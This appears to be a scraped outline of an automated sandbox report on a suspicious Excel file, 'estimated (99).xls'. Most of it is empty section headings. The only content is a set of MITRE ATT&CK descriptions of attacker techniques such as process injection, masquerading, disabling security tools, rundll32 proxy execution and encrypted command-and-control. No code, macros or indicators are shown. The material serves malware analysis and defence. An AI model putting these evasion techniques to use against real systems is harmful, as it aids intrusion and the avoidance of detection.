Memory Activities

Memory Usage Statistics

Show Windows behavior

System Activities

Show Windows behavior

Timing Activities

Show Windows behavior

Windows UI Activities

Window UI Enumerated

Show Windows behavior

LPC Port Activities

Chronological Activities

Disassembly

Code Analysis

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report estimated (99).xls

Overview

General Information

Detection

Signatures

Classification

Startup

Malware Configuration

Yara Overview

Initial Sample

Sigma Overview

System Summary:

Signature Overview

Compliance:

Software Vulnerabilities:

Networking:

System Summary:

Hooking and other Techniques for Hiding and Protection:

HIPS / PFW / Operating System Protection Evasion:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static OLE Info

General

OLE File "estimated (99).xls"

Indicators

Summary

Document Summary

Streams

Stream Path: \x5DocumentSummaryInformation, File Type: data, Stream Size: 4096

General

Stream Path: \x5SummaryInformation, File Type: data, Stream Size: 4096

General

Stream Path: Workbook, File Type: Applesoft BASIC program data, first line number 16, Stream Size: 313908

General

Macro 4.0 Code

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTPS Packets

Code Manipulations

Statistics

CPU Usage

Memory Usage

High Level Behavior Distribution